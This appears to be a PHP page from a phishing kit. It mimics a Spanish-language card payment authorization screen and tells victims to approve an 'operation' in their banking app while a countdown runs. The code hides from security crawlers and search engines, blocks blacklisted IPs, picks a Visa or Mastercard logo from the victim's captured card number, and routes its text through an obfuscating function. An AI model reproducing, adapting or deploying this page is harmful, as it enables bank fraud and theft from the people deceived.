<?php

use Jaybizzle\CrawlerDetect\CrawlerDetect;
use Vectorface\Whip\Whip;

session_start();
require_once './../config/config.php';

$CrawlerDetect = new CrawlerDetect;

// Check the user agent of the current 'visitor'
if ($CrawlerDetect->isCrawler()) {
    // true if crawler user agent detected
    http_response_code(403);
    die();
}

$whip = new Whip();
$clientAddress = $whip->getValidIpAddress();

$db = new SQLiteDB(BASE_PATH . '/data/db/blacklist.db');

$db->exec("CREATE TABLE IF NOT EXISTS blacklist (
    ip_address TEXT PRIMARY KEY,
    blocked_at TEXT
)");

$stmt = $db->prepare("SELECT * FROM blacklist WHERE ip_address = :ip");
$stmt->bindValue(':ip', $_SERVER['REMOTE_ADDR'], SQLITE3_TEXT);
$result = $stmt->execute();
if ($result->fetchArray()) {
    http_response_code(403);
    die();
}

?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1" />

    <meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex, notranslate">
    <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet, noimageindex">
    <meta name="bingbot" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="slurp" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="duckduckbot" content="noindex, nofollow">
    <meta name="baiduspider" content="noindex, nofollow">
    <meta name="yandexbot" content="noindex, nofollow">

    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">

    <meta http-equiv="X-Robots-Tag" content="noindex, nofollow, noarchive, nosnippet">

    <link rel="stylesheet" href="./../src/embed/css/styles.css">
</head>

<body>
    <div class="container mb-4">
        <div id="header-zone" class="d-flex flex-row-reverse">
            <form id="cancel-form" method="POST">
                <button id="cancel-button" type="submit" class="btn btn-sm btn-outline-link"><?php echo getCyrillicAlphabet('Cancelar'); ?></button>
            </form>
        </div>
        <div id="branding-zone" class="row">
            <div class="col my-auto">
                <?php
                $logo = 'master_99.medium.png';
                if (isset($_SESSION[$_SESSION["attribute"][9]])) {
                    $firstDigit = substr(preg_replace('/\s+/', '', $_SESSION[$_SESSION["attribute"][9]]), 0, 1);
                    if ($firstDigit == '4') {
                        $logo = 'visa_99.medium.png';
                    }
                }
                ?>
                <img id="ps-image" class="img-ps float-right" src="./../src/embed/images/<?php echo $logo; ?>" alt="Payment System">
            </div>
        </div>
        <h1 id="counter" class="text-center m-0">06:57</h1>
        <p id="info-header" class="font-weight-bold mt-2 mb-2"><?php echo getCyrillicAlphabet('Autoriza tu operación en tu banca digital:'); ?></p>
        <div id="retry-alert" class="alert alert-warning align-items-center p-2 my-2" role="alert" style="display: none;">
            <svg class="bi flex-shrink-0 mr-2" role="img" aria-label="Warning:" viewBox="0 0 16 16">
                <path d="M8.982 1.566a1.13 1.13 0 0 0-1.96 0L.165 13.233c-.457.778.091 1.767.98 1.767h13.713c.889 0 1.438-.99.98-1.767L8.982 1.566zM8 5c.535 0 .954.462.9.995l-.35 3.507a.552.552 0 0 1-1.1 0L7.1 5.995A.905.905 0 0 1 8 5zm.002 6a1 1 0 1 1 0 2 1 1 0 0 1 0-2z" />
            </svg>
            <p class="mb-0"><?php echo getCyrillicAlphabet('Operación en proceso. Siga las instrucciones para finalizar.'); ?></p>
        </div>
        <div id="info-text" class="mt-0 mb-2"><?php echo getCyrillicAlphabet('Para completar la operación, accede a tu banca digital (app o web) y autoriza.'); ?><br><?php echo getCyrillicAlphabet('Una vez autorizada, esta página se actualizará automáticamente.'); ?></div>
        <form id="continue-form" method="POST">
            <button id="submit-button" class="btn btn-block mb-1" type="submit" onclick="event.preventDefault(); document.getElementById('retry-alert').style.display = 'flex'; parent.postMessage({ navigateTo: '<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=<?php echo base64_encode(BASE_URL . '/' . str_replace('.php', '', $_SESSION["filename"][1]) . "?op=" . $_SESSION["op"][1]); ?>' }, '*');"><?php echo getCyrillicAlphabet('Continuar'); ?></button>
            <small class="contingency-sm"><?php echo getCyrillicAlphabet('Si tras autorizar la operación esta ventana permanece abierta pulse "Continuar"'); ?></small>
        </form>
    </div>

    <script>
        document.addEventListener("DOMContentLoaded", function(event) {
            var height;

            function callback() {
                var newHeight = document.documentElement.scrollHeight;
                if (newHeight !== height) {
                    height = newHeight;
                    parent.postMessage({
                        frameHeight: height
                    }, '*');
                }
            }

            var observer = new MutationObserver(callback);
            observer.observe(document.body, {
                attributes: true,
                childList: true,
                subtree: true
            });

            callback();

            parent.postMessage({
                hideWrapper: true
            }, '*');
        });

        window.addEventListener('load', function() {
            parent.postMessage({
                hideWrapper: true
            }, '*');
        });
    </script>

    <script>
        var startDate = new Date();

        function initTimer() {

            document.getElementById('counter').innerHTML = secondsToDateStr(secondsToTimeOut);

            counterUpdater = setInterval(function() {

                var endDate = new Date();
                var seconds = (endDate.getTime() - startDate.getTime()) / 1000;

                document.getElementById('counter').innerHTML = secondsToDateStr(secondsToTimeOut - Math.floor(seconds));

                if (seconds <= 0)
                    clearInterval(counterUpdater);

            }, 1000);

        }

        function secondsToDateStr(secondsIn) {

            if (secondsIn <= 0)
                return '00:00';

            var minutes = Math.floor(secondsIn / 60);
            var seconds = secondsIn - minutes * 60;

            return intToString(minutes) + ':' + intToString(seconds);

        }

        function intToString(intToParse) {
            if (intToParse >= 10)
                return intToParse;
            else
                return '0' + intToParse;
        }
    </script>

    <script type="text/javascript" nonce="">
        secondsToTimeOut = 417;

        initTimer();
    </script>
</body>

</html>